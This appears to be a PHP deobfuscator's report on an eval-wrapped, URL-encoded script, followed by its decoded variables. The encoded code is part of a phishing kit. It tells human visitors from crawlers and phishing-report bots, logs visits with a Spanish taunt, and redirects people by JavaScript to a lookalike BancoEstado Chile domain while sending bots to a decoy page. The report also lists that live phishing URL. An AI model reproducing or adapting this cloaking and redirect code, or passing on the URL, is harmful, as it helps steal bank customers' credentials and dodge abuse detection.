74%21%3d%3d%66%61%6c%73%65%29%20%7c%7c%20%28%24%72%65%70%6f%72%74%70%68%69%73%68%69%6e%67%21%3d%3d%66%61%6c%73%65%29%20%7c%7c%20%28%24%6d%73%6e%21%3d%3d%66%61%6c%73%65%29%20%7c%7c%20%28%24%62%61%6e%65%6c%63%6f%21%3d%3d%66%61%6c%73%65%29%29%20%2f%2f%73%69%20%65%6c%20%6e%6f%6d%62%72%65%20%64%65%20%64%6f%6d%69%6e%69%6f%20%64%69%63%65%20%67%6f%6f%67%6c%65%62%6f%74%20%6f%20%20%67%6f%6f%67%6c%65%20%65%73%20%75%6e%20%72%6f%62%6f%74%0d%0a%09%09%09%09%7b%20%0d%0a%09%09%09%09%09%24%76%69%73%69%74%61%6e%74%65%20%3d%20%22%72%6f%62%6f%74%22%3b%0d%0a%09%09%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%0d%0a%09%09%09%09%09%24%76%69%73%69%74%61%6e%74%65%20%3d%20%22%70%65%72%73%6f%6e%61%22%3b%0d%0a%09%09%09%09%7d%0d%0a%09%09%09%09%0d%0a%09%09%09%0d%0a%09%09%09%69%66%28%24%76%69%73%69%74%61%6e%74%65%20%3d%3d%20%22%70%65%72%73%6f%6e%61%22%29%7b%0d%0a%09%09%09%09%0d%0a%09%09%09%09%0d%0a%09%09%09%09%69%66%28%66%69%6c%65%5f%65%78%69%73%74%73%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%29%29%7b%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%24%74%6f%64%6f%6f%6b%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%09%09%09%09%0d%0a%09%09%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%22%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%4e%4f%20%4c%4f%20%44%45%4a%45%53%20%4c%4c%45%4e%41%52%20%4d%55%43%48%4f%20%5e%2e%5e%20%50%41%52%43%45%52%4f%21%21%21%21%21%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%3c%62%72%3e%3c%62%72%3e%22%2e%24%74%6f%64%6f%6f%6b%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%7d%0d%0a%09%09%09%09%0d%0a%09%09%09%09%0d%0a%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%48%54%54%50%2f%31%2e%31%20%33%30%31%20%4d%6f%76%65%64%20%50%65%72%6d%61%6e%65%6e%74%6c%79%22%29%3b%0d%0a%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%4c%6f%63%61%74%69%6f%6e%3a%20%22%2e%55%52%4c%53%43%41%4d%29%3b%0d%0a%09%09%09%09%20%70%72%69%6e%74%20%22%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%22%2e%55%52%4c%53%43%41%4d%2e%22%27%3b%3c%2f%73%63%72%69%70%74%3e%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e%22%3b%0d%0a%09%09%09%09%2f%2f%70%72%69%6e%74%20%22%65%73%20%70%65%72%73%6f%6e%61%22%3b%0d%0a%09%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%0d%0a%09%09%09%09%09%69%66%28%66%69%6c%65%5f%65%78%69%73%74%73%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%29%29%7b%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%48%54%54%50%2f%31%2e%31%20%33%30%31%20%4d%6f%76%65%64%20%50%65%72%6d%61%6e%65%6e%74%6c%79%22%29%3b%0d%0a%09%09%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%4c%6f%63%61%74%69%6f%6e%3a%20%22%2e%55%52%4c%42%4f%54%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%09%09%0d%0a%09%09%09%09%09%20%0d%0a%09%09%09%09%20%20%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%22%3c%63%65%6e%74%65%72%3e%3c%68%32%3e%4e%4f%20%4c%4f%20%44%45%4a%45%53%20%4c%4c%45%4e%41%52%20%4d%55%43%48%4f%20%5e%2e%5e%20%50%41%52%43%45%52%4f%21%21%21%21%21%3c%2f%68%32%3e%3c%2f%63%65%6e%74%65%72%3e%3c%62%72%3e%3c%62%72%3e%22%2e%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%7d%0d%0a%09%09%09%09%0d%0a%09%09%09%09%20%70%72%69%6e%74%20%22%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%22%2e%55%52%4c%42%4f%54%2e%22%27%3b%3c%2f%73%63%72%69%70%74%3e%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e%22%3b%0d%0a%09%09%09%09%2f%2f%20%20%70%72%69%6e%74%20%22%65%73%20%75%6e%20%72%6f%62%6f%74%22%3b%0d%0a%09%09%09%7d%0d%0a%09%09%0d%0a%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%0d%0a%09%09%09%09%69%66%28%66%69%6c%65%5f%65%78%69%73%74%73%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%29%29%7b%0d%0a%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%29%3b%0d%0a%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%22%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%4e%4f%20%4c%4f%20%44%45%4a%45%53%20%4c%4c%45%4e%41%52%20%4d%55%43%48%4f%20%5e%2e%5e%20%50%41%52%43%45%52%4f%21%21%21%21%21%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%3c%62%72%3e%3c%62%72%3e%22%2e%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%7d%0d%0a%09%09%09%09%09%2f%2f%70%72%69%6e%74%20%22%6e%6f%20%65%73%20%64%65%20%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%20%22%2e%24%6e%61%63%69%6f%6e%61%6c%69%64%61%64%3b%0d%0a%09%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%48%54%54%50%2f%31%2e%31%20%33%30%31%20%4d%6f%76%65%64%20%50%65%72%6d%61%6e%65%6e%74%6c%79%22%29%3b%0d%0a%09%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%4c%6f%63%61%74%69%6f%6e%3a%20%22%2e%55%52%4c%42%4f%54%29%3b%20%20%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%72%69%6e%74%20%22%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%22%2e%55%52%4c%42%4f%54%2e%22%27%3b%3c%2f%73%63%72%69%70%74%3e%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e%22%3b%0d%0a%09%09%2f%2f%0d%0a%09%09%7d%0d%0a%0d%0a%09%09%0d%0a%0d%0a%09%7d"));




?>

Function Calls

urldecode 1

Variables

$urlscam https://banc0estad0.cl.focap-cm.net/
$nacionalidad CL
$urlreal home.html

Stats

MD5 1fd9da66d7f4dbbf1894bc5b410a4965
Eval Count 1
Decode Time 139 ms